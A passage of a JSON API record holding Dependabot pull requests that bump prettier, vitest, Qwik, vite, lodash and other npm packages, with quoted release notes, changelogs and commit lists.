output:\u003c/p\u003e\n\u003c!-- raw HTML omitted --\u003e\n\u003cpre lang=\"markdown\"\u003e\u003ccode\u003e\u0026lt;!-- Input --\u0026gt;\n999999998. text\n999999998. text\n999999998. text\n999999998. text\n\u003cp\u003e1234567890123456789012) text\u003c/p\u003e\n\u003cp\u003e\u0026lt;!-- Prettier 3.9.4 --\u0026gt;\n999999998. text\n999999999. text\n1000000000. text\n1000000001. text\u003c/p\u003e\n\u003cp\u003e1234567890123456789012) text\u003c/p\u003e\n\u003cp\u003e\u0026lt;!-- Prettier 3.9.5 --\u0026gt;\n999999998. text\n999999999. text\n999999999. text\n999999999. text\u003c/p\u003e\n\u003cp\u003e1234567890123456789012) text\n\u003c/code\u003e\u003c/pre\u003e\u003c/p\u003e\n\u003ch4\u003eMarkdown: Avoid corrupting empty link with title (\u003ca href=\"https://redirect.github.com/prettier/prettier/pull/19487\"\u003e#19487\u003c/a\u003e by \u003ca href=\"https://github.com/andersk\"\u003e\u003ccode\u003e@​andersk\u003c/code\u003e\u003c/a\u003e)\u003c/h4\u003e\n\u003cp\u003eDo not remove \u003ccode\u003e\u0026lt;\u0026gt;\u003c/code\u003e from an inline link or image with an empty URL and a title, as this removal would change its interpretation.\u003c/p\u003e\n\u003c!-- raw HTML omitted --\u003e\n\u003cpre lang=\"md\"\u003e\u003ccode\u003e\u0026lt;!-- Input --\u0026gt;\n[link](https://github.com/prettier/prettier/blob/main/\u0026lt;\u0026gt; \u0026quot;title\u0026quot;)\n\u003cp\u003e\u0026lt;!-- Prettier 3.9.4 --\u0026gt;\n[link](\u003ca href=\"https://github.com/prettier/prettier/blob/main/\"\u003ehttps://github.com/prettier/prettier/blob/main/\u003c/a\u003e \u0026quot;title\u0026quot;)\u003c/p\u003e\n\u003cp\u003e\u0026lt;!-- Prettier 3.9.5 --\u0026gt;\n\u0026lt;/tr\u0026gt;\u0026lt;/table\u0026gt;\n\u003c/code\u003e\u003c/pre\u003e\u003c/p\u003e\n\u003c/blockquote\u003e\n\u003cp\u003e... (truncated)\u003c/p\u003e\n\u003c/details\u003e\n\u003cdetails\u003e\n\u003csummary\u003eCommits\u003c/summary\u003e\n\u003cul\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/prettier/prettier/commit/b6c7d1806807162658fd5694d002b54b778c3756\"\u003e\u003ccode\u003eb6c7d18\u003c/code\u003e\u003c/a\u003e Release 3.9.5\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/prettier/prettier/commit/cd54ccc7288f2a4585ba5bf96883e2ed3b18e781\"\u003e\u003ccode\u003ecd54ccc\u003c/code\u003e\u003c/a\u003e Avoid corrupting empty Markdown link with title (\u003ca href=\"https://redirect.github.com/prettier/prettier/issues/19487\"\u003e#19487\u003c/a\u003e)\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/prettier/prettier/commit/2bb67ce8cd326dbaccbdec97e7578985f6009a14\"\u003e\u003ccode\u003e2bb67ce\u003c/code\u003e\u003c/a\u003e Preserving comments' \u003ccode\u003eplacement\u003c/code\u003e property (\u003ca href=\"https://redirect.github.com/prettier/prettier/issues/19567\"\u003e#19567\u003c/a\u003e)\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/prettier/prettier/commit/91bcac88ec1d784767ebbf5ec4686a5dbf37c3c1\"\u003e\u003ccode\u003e91bcac8\u003c/code\u003e\u003c/a\u003e Add more tests for comment-only object type (\u003ca href=\"https://redirect.github.com/prettier/prettier/issues/19587\"\u003e#19587\u003c/a\u003e)\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/prettier/prettier/commit/cbee7377a1875686558bfc9416b789d66771d9e7\"\u003e\u003ccode\u003ecbee737\u003c/code\u003e\u003c/a\u003e Remove space in empty object type (\u003ca href=\"https://redirect.github.com/prettier/prettier/issues/19583\"\u003e#19583\u003c/a\u003e)\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/prettier/prettier/commit/6394c732090efdf7798e0c8dc44c46583b4131c3\"\u003e\u003ccode\u003e6394c73\u003c/code\u003e\u003c/a\u003e Align empty module declaration with TS (\u003ca href=\"https://redirect.github.com/prettier/prettier/issues/19568\"\u003e#19568\u003c/a\u003e)\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/prettier/prettier/commit/a4e6f7a0264bad45f3c153773111f60a5d406d55\"\u003e\u003ccode\u003ea4e6f7a\u003c/code\u003e\u003c/a\u003e Prevent the addition of space in \u003ccode\u003etype()\u003c/code\u003e with \u003ccode\u003e+\u003c/code\u003e (\u003ca href=\"https://redirect.github.com/prettier/prettier/issues/19516\"\u003e#19516\u003c/a\u003e)\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/prettier/prettier/commit/3d063b57b1a2fdc660341b6e1c719e09997cc72c\"\u003e\u003ccode\u003e3d063b5\u003c/code\u003e\u003c/a\u003e Ignore dangling comments when checking type parameter comments (\u003ca href=\"https://redirect.github.com/prettier/prettier/issues/19572\"\u003e#19572\u003c/a\u003e)\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/prettier/prettier/commit/908503e9ee02718ef0ec21a023f2c0fd5fb00603\"\u003e\u003ccode\u003e908503e\u003c/code\u003e\u003c/a\u003e Handle dangling comments in \u003ccode\u003eSwitchStatement\u003c/code\u003e (\u003ca href=\"https://redirect.github.com/prettier/prettier/issues/19581\"\u003e#19581\u003c/a\u003e)\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/prettier/prettier/commit/943a475c3592149aad6062ad235338da548365ea\"\u003e\u003ccode\u003e943a475\u003c/code\u003e\u003c/a\u003e Angular: Support expression for exhaustive typechecking (\u003ca href=\"https://redirect.github.com/prettier/prettier/issues/19571\"\u003e#19571\u003c/a\u003e)\u003c/li\u003e\n\u003cli\u003eAdditional commits viewable in \u003ca href=\"https://github.com/prettier/prettier/compare/3.8.4...3.9.5\"\u003ecompare view\u003c/a\u003e\u003c/li\u003e\n\u003c/ul\u003e\n\u003c/details\u003e\n\u003cbr /\u003e\n\nUpdates `vitest` from 4.1.8 to 4.1.10\n\u003cdetails\u003e\n\u003csummary\u003eRelease notes\u003c/summary\u003e\n\u003cp\u003e\u003cem\u003eSourced from \u003ca href=\"https://github.com/vitest-dev/vitest/releases\"\u003evitest's releases\u003c/a\u003e.\u003c/em\u003e\u003c/p\u003e\n\u003cblockquote\u003e\n\u003ch2\u003ev4.1.10\u003c/h2\u003e\n\u003ch3\u003e   🐞 Bug Fixes\u003c/h3\u003e\n\u003cul\u003e\n\u003cli\u003e\u003cstrong\u003ebrowser\u003c/strong\u003e: Check fs access in builtin commands [backport to v4]  -  by \u003ca href=\"https://github.com/hi-ogawa\"\u003e\u003ccode\u003e@​hi-ogawa\u003c/code\u003e\u003c/a\u003e, \u003cstrong\u003eHiroshi Ogawa\u003c/strong\u003e and \u003cstrong\u003eOpenCode (claude-opus-4-8)\u003c/strong\u003e in \u003ca href=\"https://redirect.github.com/vitest-dev/vitest/issues/10680\"\u003evitest-dev/vitest#10680\u003c/a\u003e \u003ca href=\"https://github.com/vitest-dev/vitest/commit/5c18dd267\"\u003e\u003c!-- raw HTML omitted --\u003e(5c18d)\u003c!-- raw HTML omitted --\u003e\u003c/a\u003e\u003c/li\u003e\n\u003cli\u003e\u003cstrong\u003evm\u003c/strong\u003e: Fix external module resolve error with deps optimizer query for encoded URI [backport to v4]  -  by \u003ca href=\"https://github.com/SveLil\"\u003e\u003ccode\u003e@​SveLil\u003c/code\u003e\u003c/a\u003e and \u003ca href=\"https://github.com/hi-ogawa\"\u003e\u003ccode\u003e@​hi-ogawa\u003c/code\u003e\u003c/a\u003e in \u003ca href=\"https://redirect.github.com/vitest-dev/vitest/issues/10661\"\u003evitest-dev/vitest#10661\u003c/a\u003e \u003ca href=\"https://github.com/vitest-dev/vitest/commit/bae52b511\"\u003e\u003c!-- raw HTML omitted --\u003e(bae52)\u003c!-- raw HTML omitted --\u003e\u003c/a\u003e\u003c/li\u003e\n\u003c/ul\u003e\n\u003ch5\u003e    \u003ca href=\"https://github.com/vitest-dev/vitest/compare/v4.1.9...v4.1.10\"\u003eView changes on GitHub\u003c/a\u003e\u003c/h5\u003e\n\u003ch2\u003ev4.1.9\u003c/h2\u003e\n\u003ch3\u003e🐞 Bug Fixes\u003c/h3\u003e\n\u003cul\u003e\n\u003cli\u003eFix \u003ccode\u003eimportOriginal\u003c/code\u003e with optimizer and query import [backport to v4] - by \u003cstrong\u003eHiroshi Ogawa\u003c/strong\u003e, \u003cstrong\u003eDavid Harris\u003c/strong\u003e, \u003cstrong\u003eCodex\u003c/strong\u003eand \u003cstrong\u003eVladimir\u003c/strong\u003e in \u003ca href=\"https://redirect.github.com/vitest-dev/vitest/issues/10546\"\u003evitest-dev/vitest#10546\u003c/a\u003e \u003ca href=\"https://github.com/vitest-dev/vitest/commit/a5180190c\"\u003e\u003c!-- raw HTML omitted --\u003e(a5180)\u003c!-- raw HTML omitted --\u003e\u003c/a\u003e\u003c/li\u003e\n\u003cli\u003e\u003cstrong\u003ebrowser\u003c/strong\u003e:\n\u003cul\u003e\n\u003cli\u003eWait for orchestrator readiness before resolving browser sessions [backport to v4] - by \u003cstrong\u003eVladimir\u003c/strong\u003e and \u003cstrong\u003eSéamus O'Connor\u003c/strong\u003e in \u003ca href=\"https://redirect.github.com/vitest-dev/vitest/issues/10555\"\u003evitest-dev/vitest#10555\u003c/a\u003e \u003ca href=\"https://github.com/vitest-dev/vitest/commit/7fb29651a\"\u003e\u003c!-- raw HTML omitted --\u003e(7fb29)\u003c!-- raw HTML omitted --\u003e\u003c/a\u003e\u003c/li\u003e\n\u003cli\u003eWait for iframe tester readiness before preparing  [backport to v4] - by \u003cstrong\u003eVladimir\u003c/strong\u003e and \u003cstrong\u003eSéamus O'Connor\u003c/strong\u003e in \u003ca href=\"https://redirect.github.com/vitest-dev/vitest/issues/10497\"\u003evitest-dev/vitest#10497\u003c/a\u003e and \u003ca href=\"https://redirect.github.com/vitest-dev/vitest/issues/10556\"\u003evitest-dev/vitest#10556\u003c/a\u003e \u003ca href=\"https://github.com/vitest-dev/vitest/commit/fbc626c40\"\u003e\u003c!-- raw HTML omitted --\u003e(fbc62)\u003c!-- raw HTML omitted --\u003e\u003c/a\u003e\u003c/li\u003e\n\u003c/ul\u003e\n\u003c/li\u003e\n\u003cli\u003e\u003cstrong\u003emocker\u003c/strong\u003e:\n\u003cul\u003e\n\u003cli\u003eHoist vi.mock() for vite-plus/test imports [backport to v4] - by \u003cstrong\u003eHiroshi Ogawa\u003c/strong\u003e, \u003cstrong\u003eLongYinan\u003c/strong\u003e, \u003cstrong\u003eClaude Opus 4.8\u003c/strong\u003e and \u003cstrong\u003eVladimir\u003c/strong\u003e in \u003ca href=\"https://redirect.github.com/vitest-dev/vitest/issues/10548\"\u003evitest-dev/vitest#10548\u003c/a\u003e \u003ca href=\"https://github.com/vitest-dev/vitest/commit/2c9559c02\"\u003e\u003c!-- raw HTML omitted --\u003e(2c955)\u003c!-- raw HTML omitted --\u003e\u003c/a\u003e\u003c/li\u003e\n\u003c/ul\u003e\n\u003c/li\u003e\n\u003cli\u003e\u003cstrong\u003epool\u003c/strong\u003e:\n\u003cul\u003e\n\u003cli\u003ePrevent test run hang on worker crash  [backport to v4] - by \u003cstrong\u003eAri Perkkiö\u003c/strong\u003e and \u003cstrong\u003eJattioui Ismail\u003c/strong\u003e in \u003ca href=\"https://redirect.github.com/vitest-dev/vitest/issues/10543\"\u003evitest-dev/vitest#10543\u003c/a\u003e and \u003ca href=\"https://redirect.github.com/vitest-dev/vitest/issues/10564\"\u003evitest-dev/vitest#10564\u003c/a\u003e \u003ca href=\"https://github.com/vitest-dev/vitest/commit/934b0f587\"\u003e\u003c!-- raw HTML omitted --\u003e(934b0)\u003c!-- raw HTML omitted --\u003e\u003c/a\u003e\u003c/li\u003e\n\u003c/ul\u003e\n\u003c/li\u003e\n\u003c/ul\u003e\n\u003ch5\u003e\u003ca href=\"https://github.com/vitest-dev/vitest/compare/v4.1.8...v4.1.9\"\u003eView changes on GitHub\u003c/a\u003e\u003c/h5\u003e\n\u003c/blockquote\u003e\n\u003c/details\u003e\n\u003cdetails\u003e\n\u003csummary\u003eCommits\u003c/summary\u003e\n\u003cul\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/vitest-dev/vitest/commit/db616d227b6e0cb07a94f5d1bba262ee95db7e46\"\u003e\u003ccode\u003edb616d2\u003c/code\u003e\u003c/a\u003e chore: release v4.1.10 (\u003ca href=\"https://github.com/vitest-dev/vitest/tree/HEAD/packages/vitest/issues/10718\"\u003e#10718\u003c/a\u003e)\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/vitest-dev/vitest/commit/bae52b5112a6fd8200101b88bf8af9685d077295\"\u003e\u003ccode\u003ebae52b5\u003c/code\u003e\u003c/a\u003e fix(vm): fix external module resolve error with deps optimizer query for enco...\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/vitest-dev/vitest/commit/a7a61e78c7d0718f00173cff6800a91a344457d4\"\u003e\u003ccode\u003ea7a61e7\u003c/code\u003e\u003c/a\u003e chore: release v4.1.9 (\u003ca href=\"https://github.com/vitest-dev/vitest/tree/HEAD/packages/vitest/issues/10598\"\u003e#10598\u003c/a\u003e)\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/vitest-dev/vitest/commit/934b0f587cb61d8338d83f525295322692a2db40\"\u003e\u003ccode\u003e934b0f5\u003c/code\u003e\u003c/a\u003e fix(pool): prevent test run hang on worker crash (\u003ca href=\"https://github.com/vitest-dev/vitest/tree/HEAD/packages/vitest/issues/10543\"\u003e#10543\u003c/a\u003e) [backport to v4] (#...\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/vitest-dev/vitest/commit/7fb29651afbae2a9b0cefe6c031a9308f168ac60\"\u003e\u003ccode\u003e7fb2965\u003c/code\u003e\u003c/a\u003e fix(browser): wait for orchestrator readiness before resolving browser sessio...\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/vitest-dev/vitest/commit/a5180190c1be7089e3705e3dd9e84fea118d09d3\"\u003e\u003ccode\u003ea518019\u003c/code\u003e\u003c/a\u003e fix: fix \u003ccode\u003eimportOriginal\u003c/code\u003e with optimizer and query import [backport to v4] (#...\u003c/li\u003e\n\u003cli\u003eSee full diff in \u003ca href=\"https://github.com/vitest-dev/vitest/commits/v4.1.10/packages/vitest\"\u003ecompare view\u003c/a\u003e\u003c/li\u003e\n\u003c/ul\u003e\n\u003c/details\u003e\n\u003cbr /\u003e\n\n\nYou can trigger a rebase of this PR by commenting `@dependabot rebase`.\n\n[//]: # (dependabot-automerge-start)\n[//]: # (dependabot-automerge-end)\n\n---\n\n\u003cdetails\u003e\n\u003csummary\u003eDependabot commands and options\u003c/summary\u003e\n\u003cbr /\u003e\n\nYou can trigger Dependabot actions by commenting on this PR:\n- `@dependabot rebase` will rebase this PR\n- `@dependabot recreate` will recreate this PR, overwriting any edits that have been made to it\n- `@dependabot show \u003cdependency name\u003e ignore conditions` will show all of the ignore conditions of the specified dependency\n- `@dependabot ignore \u003cdependency name\u003e major version` will close this group update PR and stop Dependabot creating any more for the specific dependency's major version (unless you unignore this specific dependency's major version or upgrade to it yourself)\n- `@dependabot ignore \u003cdependency name\u003e minor version` will close this group update PR and stop Dependabot creating any more for the specific dependency's minor version (unless you unignore this specific dependency's minor version or upgrade to it yourself)\n- `@dependabot ignore \u003cdependency name\u003e` will close this group update PR and stop Dependabot creating any more for the specific dependency (unless you unignore this specific dependency or upgrade to it yourself)\n- `@dependabot unignore \u003cdependency name\u003e` will remove all of the ignore conditions of the specified dependency\n- `@dependabot unignore \u003cdependency name\u003e \u003cignore condition\u003e` will remove the ignore condition of the specified dependency and ignore conditions\n\n\n\u003c/details\u003e","html_url":"https://github.com/mimmi20/postcss-pseudo-element-colons/pull/126","url":"https://dependabot.ecosyste.ms/api/v1/hosts/GitHub/repositories/mimmi20%2Fpostcss-pseudo-element-colons/issues/126","packages_url":"https://dependabot.ecosyste.ms/api/v1/issues/126/packages"},{"uuid":"4908688783","node_id":"PR_kwDOTV2Ays7y18ld","number":2,"state":"open","title":"chore(deps): bump the npm_and_yarn group across 1 directory with 14 updates","user":"dependabot[bot]","labels":["dependencies","javascript","gitar-approved"],"assignees":[],"locked":false,"comments_count":5,"pull_request":true,"closed_at":null,"author_association":null,"state_reason":null,"created_at":"2026-07-17T06:28:32.000Z","updated_at":"2026-07-17T06:29:38.000Z","time_to_close":null,"merged_at":null,"merged_by":null,"closed_by":null,"dependency_metadata":{"prefix":"chore(deps): bump","group_name":"npm_and_yarn","update_count":14,"packages":[{"name":"@builder.io/qwik","old_version":"1.4.3","new_version":"1.19.1","repository_url":"https://github.com/QwikDev/qwik"},{"name":"@builder.io/qwik-city","old_version":"1.4.3","new_version":"1.19.2","repository_url":"https://github.com/QwikDev/qwik"},{"name":"js-yaml","old_version":"4.1.0","new_version":"4.2.0","repository_url":"https://github.com/nodeca/js-yaml"},{"name":"postcss","old_version":"8.4.33","new_version":"8.5.10","repository_url":"https://github.com/postcss/postcss"},{"name":"undici","old_version":"5.28.2","new_version":"6.27.0","repository_url":"https://github.com/nodejs/undici"},{"name":"vite","old_version":"4.5.2","new_version":"6.4.3","repository_url":"https://github.com/vitejs/vite"},{"name":"@babel/core","old_version":"7.23.9","new_version":"7.29.7","repository_url":"https://github.com/babel/babel"},{"name":"@babel/plugin-transform-modules-systemjs","old_version":"7.23.9","new_version":"7.29.7","repository_url":"https://github.com/babel/babel"},{"name":"flatted","old_version":"3.2.9","new_version":"3.4.2","repository_url":"https://github.com/WebReflection/flatted"},{"name":"form-data","old_version":"3.0.1","new_version":"3.0.5","repository_url":"https://github.com/form-data/form-data"},{"name":"lodash","old_version":"4.17.21","new_version":"4.18.1","repository_url":"https://github.com/lodash/lodash"},{"name":"vm2","old_version":"3.9.19","new_version":"3.11.5","repository_url":"https://github.com/patriksimek/vm2"}],"path":null,"ecosystem":"npm"},"body":"Bumps the npm_and_yarn group with 12 updates in the /web directory:\n\n| Package | From | To |\n| --- | --- | --- |\n| [@builder.io/qwik](https://github.com/QwikDev/qwik/tree/HEAD/packages/qwik) | `1.4.3` | `1.19.1` |\n| [@builder.io/qwik-city](https://github.com/QwikDev/qwik/tree/HEAD/packages/qwik-city) | `1.4.3` | `1.19.2` |\n| [js-yaml](https://github.com/nodeca/js-yaml) | `4.1.0` | `4.2.0` |\n| [postcss](https://github.com/postcss/postcss) | `8.4.33` | `8.5.10` |\n| [undici](https://github.com/nodejs/undici) | `5.28.2` | `6.27.0` |\n| [vite](https://github.com/vitejs/vite/tree/HEAD/packages/vite) | `4.5.2` | `6.4.3` |\n| [@babel/core](https://github.com/babel/babel/tree/HEAD/packages/babel-core) | `7.23.9` | `7.29.7` |\n| [@babel/plugin-transform-modules-systemjs](https://github.com/babel/babel/tree/HEAD/packages/babel-plugin-transform-modules-systemjs) | `7.23.9` | `7.29.7` |\n| [flatted](https://github.com/WebReflection/flatted) | `3.2.9` | `3.4.2` |\n| [form-data](https://github.com/form-data/form-data) | `3.0.1` | `3.0.5` |\n| [lodash](https://github.com/lodash/lodash) | `4.17.21` | `4.18.1` |\n| [vm2](https://github.com/patriksimek/vm2) | `3.9.19` | `3.11.5` |\n\n\nUpdates `@builder.io/qwik` from 1.4.3 to 1.19.1\n\u003cdetails\u003e\n\u003csummary\u003eRelease notes\u003c/summary\u003e\n\u003cp\u003e\u003cem\u003eSourced from \u003ca href=\"https://github.com/QwikDev/qwik/releases\"\u003e\u003ccode\u003e@​builder.io/qwik's releases\u003c/code\u003e\u003c/a\u003e.\u003c/em\u003e\u003c/p\u003e\n\u003cblockquote\u003e\n\u003ch2\u003e\u003ca href=\"https://github.com/builder\"\u003e\u003ccode\u003e@​builder\u003c/code\u003e\u003c/a\u003e.io/qwik@1.19.1\u003c/h2\u003e\n\u003ch3\u003ePatch Changes\u003c/h3\u003e\n\u003cul\u003e\n\u003cli\u003e\n\u003cp\u003e🐞🩹 support Deno as package manager for production builds. The Vite plugin now recognizes Deno as a Node-compatible runtime for manifest passing, and SSG delegates to the Node implementation instead of stubbing out. (by \u003ca href=\"https://github.com/ianlet\"\u003e\u003ccode\u003e@​ianlet\u003c/code\u003e\u003c/a\u003e in \u003ca href=\"https://redirect.github.com/QwikDev/qwik/pull/8385\"\u003e#8385\u003c/a\u003e)\u003c/p\u003e\n\u003c/li\u003e\n\u003cli\u003e\n\u003cp\u003e🐞🩹 the optimizer was not using the binary builds (by \u003ca href=\"https://github.com/wmertens\"\u003e\u003ccode\u003e@​wmertens\u003c/code\u003e\u003c/a\u003e in \u003ca href=\"https://redirect.github.com/QwikDev/qwik/pull/8360\"\u003e#8360\u003c/a\u003e)\u003c/p\u003e\n\u003c/li\u003e\n\u003cli\u003e\n\u003cp\u003e🐞🩹 resolve 404 error for virtual CSS modules during dev SSR (by \u003ca href=\"https://github.com/jantimon\"\u003e\u003ccode\u003e@​jantimon\u003c/code\u003e\u003c/a\u003e in \u003ca href=\"https://redirect.github.com/QwikDev/qwik/pull/8351\"\u003e#8351\u003c/a\u003e)\u003c/p\u003e\n\u003c/li\u003e\n\u003c/ul\u003e\n\u003ch2\u003e\u003ca href=\"https://github.com/builder\"\u003e\u003ccode\u003e@​builder\u003c/code\u003e\u003c/a\u003e.io/qwik-city@1.19.1\u003c/h2\u003e\n\u003ch3\u003ePatch Changes\u003c/h3\u003e\n\u003cul\u003e\n\u003cli\u003e\n\u003cp\u003e🐞🩹 support Deno as package manager for production builds. The Vite plugin now recognizes Deno as a Node-compatible runtime for manifest passing, and SSG delegates to the Node implementation instead of stubbing out. (by \u003ca href=\"https://github.com/ianlet\"\u003e\u003ccode\u003e@​ianlet\u003c/code\u003e\u003c/a\u003e in \u003ca href=\"https://redirect.github.com/QwikDev/qwik/pull/8385\"\u003e#8385\u003c/a\u003e)\u003c/p\u003e\n\u003c/li\u003e\n\u003cli\u003e\n\u003cp\u003e🐞🩹 Link hash change now properly updates location.url.hash (by \u003ca href=\"https://github.com/maiieul\"\u003e\u003ccode\u003e@​maiieul\u003c/code\u003e\u003c/a\u003e in \u003ca href=\"https://redirect.github.com/QwikDev/qwik/pull/8305\"\u003e#8305\u003c/a\u003e)\u003c/p\u003e\n\u003c/li\u003e\n\u003c/ul\u003e\n\u003ch2\u003e\u003ca href=\"https://github.com/builder\"\u003e\u003ccode\u003e@​builder\u003c/code\u003e\u003c/a\u003e.io/qwik-city@1.19.0\u003c/h2\u003e\n\u003ch3\u003eMinor Changes\u003c/h3\u003e\n\u003cul\u003e\n\u003cli\u003e✨ allow mocking route loaders \u0026amp; actions in \u003ccode\u003eQwikCityMockProvider\u003c/code\u003e (by \u003ca href=\"https://github.com/alexismch\"\u003e\u003ccode\u003e@​alexismch\u003c/code\u003e\u003c/a\u003e in \u003ca href=\"https://redirect.github.com/QwikDev/qwik/pull/8102\"\u003e#8102\u003c/a\u003e)\u003c/li\u003e\n\u003c/ul\u003e\n\u003ch3\u003ePatch Changes\u003c/h3\u003e\n\u003cul\u003e\n\u003cli\u003e\n\u003cp\u003e🐞🩹 qwik-city spa routeStateInternal and routeLocation url origins mismatch (by \u003ca href=\"https://github.com/maiieul\"\u003e\u003ccode\u003e@​maiieul\u003c/code\u003e\u003c/a\u003e in \u003ca href=\"https://redirect.github.com/QwikDev/qwik/pull/8234\"\u003e#8234\u003c/a\u003e)\u003c/p\u003e\n\u003c/li\u003e\n\u003cli\u003e\n\u003cp\u003efeat(qwik-city): add getOrigin option to QwikCityBunOptions and QwikCityDenoOptions for improved URL handling (by \u003ca href=\"https://github.com/JerryWu1234\"\u003e\u003ccode\u003e@​JerryWu1234\u003c/code\u003e\u003c/a\u003e in \u003ca href=\"https://redirect.github.com/QwikDev/qwik/pull/8251\"\u003e#8251\u003c/a\u003e)\u003c/p\u003e\n\u003c/li\u003e\n\u003cli\u003e\n\u003cp\u003eMake RequestEvents readonly instead of frozen (by \u003ca href=\"https://github.com/DustinJSilk\"\u003e\u003ccode\u003e@​DustinJSilk\u003c/code\u003e\u003c/a\u003e in \u003ca href=\"https://redirect.github.com/QwikDev/qwik/pull/8135\"\u003e#8135\u003c/a\u003e)\u003c/p\u003e\n\u003c/li\u003e\n\u003c/ul\u003e\n\u003ch2\u003e\u003ca href=\"https://github.com/builder\"\u003e\u003ccode\u003e@​builder\u003c/code\u003e\u003c/a\u003e.io/qwik@1.19.0\u003c/h2\u003e\n\u003ch3\u003eMinor Changes\u003c/h3\u003e\n\u003cul\u003e\n\u003cli\u003e✨ \u003ccode\u003euntrack()\u003c/code\u003e now accepts signals and stores directly, as well as accepting arguments when you pass a function. This makes retrieving values without subscribing to them more efficient. (by \u003ca href=\"https://github.com/wmertens\"\u003e\u003ccode\u003e@​wmertens\u003c/code\u003e\u003c/a\u003e in \u003ca href=\"https://redirect.github.com/QwikDev/qwik/pull/8247\"\u003e#8247\u003c/a\u003e)\u003c/li\u003e\n\u003c/ul\u003e\n\u003ch3\u003ePatch Changes\u003c/h3\u003e\n\u003cul\u003e\n\u003cli\u003e\n\u003cp\u003e🐞🩹 we now prevent merging useVisibleTask$ code together with other segments to prevent overpreloading when their entry contains a lot of transitive imports. (by \u003ca href=\"https://github.com/maiieul\"\u003e\u003ccode\u003e@​maiieul\u003c/code\u003e\u003c/a\u003e in \u003ca href=\"https://redirect.github.com/QwikDev/qwik/pull/8275\"\u003e#8275\u003c/a\u003e)\u003c/p\u003e\n\u003c/li\u003e\n\u003cli\u003e\n\u003cp\u003e🐞🩹 duplicated preload bundles in SSR preload (by \u003ca href=\"https://github.com/chebanenko\"\u003e\u003ccode\u003e@​chebanenko\u003c/code\u003e\u003c/a\u003e in \u003ca href=\"https://redirect.github.com/QwikDev/qwik/pull/8248\"\u003e#8248\u003c/a\u003e)\u003c/p\u003e\n\u003c/li\u003e\n\u003cli\u003e\n\u003cp\u003e⚡️: the core.js and preloader.js references in q-manifest and bundle-graph are now filtered out for smaller outputs. (by \u003ca href=\"https://github.com/maiieul\"\u003e\u003ccode\u003e@​maiieul\u003c/code\u003e\u003c/a\u003e in \u003ca href=\"https://redirect.github.com/QwikDev/qwik/pull/8278\"\u003e#8278\u003c/a\u003e)\u003c/p\u003e\n\u003c/li\u003e\n\u003c/ul\u003e\n\u003c/blockquote\u003e\n\u003c/details\u003e\n\u003cdetails\u003e\n\u003csummary\u003eChangelog\u003c/summary\u003e\n\u003cp\u003e\u003cem\u003eSourced from \u003ca href=\"https://github.com/QwikDev/qwik/blob/@builder.io/qwik@1.19.1/packages/qwik/CHANGELOG.md\"\u003e\u003ccode\u003e@​builder.io/qwik's changelog\u003c/code\u003e\u003c/a\u003e.\u003c/em\u003e\u003c/p\u003e\n\u003cblockquote\u003e\n\u003ch2\u003e1.19.1\u003c/h2\u003e\n\u003ch3\u003ePatch Changes\u003c/h3\u003e\n\u003cul\u003e\n\u003cli\u003e\n\u003cp\u003e🐞🩹 support Deno as package manager for production builds. The Vite plugin now recognizes Deno as a Node-compatible runtime for manifest passing, and SSG delegates to the Node implementation instead of stubbing out. (by \u003ca href=\"https://github.com/ianlet\"\u003e\u003ccode\u003e@​ianlet\u003c/code\u003e\u003c/a\u003e in \u003ca href=\"https://redirect.github.com/QwikDev/qwik/pull/8385\"\u003e#8385\u003c/a\u003e)\u003c/p\u003e\n\u003c/li\u003e\n\u003cli\u003e\n\u003cp\u003e🐞🩹 the optimizer was not using the binary builds (by \u003ca href=\"https://github.com/wmertens\"\u003e\u003ccode\u003e@​wmertens\u003c/code\u003e\u003c/a\u003e in \u003ca href=\"https://redirect.github.com/QwikDev/qwik/pull/8360\"\u003e#8360\u003c/a\u003e)\u003c/p\u003e\n\u003c/li\u003e\n\u003cli\u003e\n\u003cp\u003e🐞🩹 resolve 404 error for virtual CSS modules during dev SSR (by \u003ca href=\"https://github.com/jantimon\"\u003e\u003ccode\u003e@​jantimon\u003c/code\u003e\u003c/a\u003e in \u003ca href=\"https://redirect.github.com/QwikDev/qwik/pull/8351\"\u003e#8351\u003c/a\u003e)\u003c/p\u003e\n\u003c/li\u003e\n\u003c/ul\u003e\n\u003ch2\u003e1.19.0\u003c/h2\u003e\n\u003ch3\u003eMinor Changes\u003c/h3\u003e\n\u003cul\u003e\n\u003cli\u003e✨ \u003ccode\u003euntrack()\u003c/code\u003e now accepts signals and stores directly, as well as accepting arguments when you pass a function. This makes retrieving values without subscribing to them more efficient. (by \u003ca href=\"https://github.com/wmertens\"\u003e\u003ccode\u003e@​wmertens\u003c/code\u003e\u003c/a\u003e in \u003ca href=\"https://redirect.github.com/QwikDev/qwik/pull/8247\"\u003e#8247\u003c/a\u003e)\u003c/li\u003e\n\u003c/ul\u003e\n\u003ch3\u003ePatch Changes\u003c/h3\u003e\n\u003cul\u003e\n\u003cli\u003e\n\u003cp\u003e🐞🩹 we now prevent merging useVisibleTask$ code together with other segments to prevent overpreloading when their entry contains a lot of transitive imports. (by \u003ca href=\"https://github.com/maiieul\"\u003e\u003ccode\u003e@​maiieul\u003c/code\u003e\u003c/a\u003e in \u003ca href=\"https://redirect.github.com/QwikDev/qwik/pull/8275\"\u003e#8275\u003c/a\u003e)\u003c/p\u003e\n\u003c/li\u003e\n\u003cli\u003e\n\u003cp\u003e🐞🩹 duplicated preload bundles in SSR preload (by \u003ca href=\"https://github.com/chebanenko\"\u003e\u003ccode\u003e@​chebanenko\u003c/code\u003e\u003c/a\u003e in \u003ca 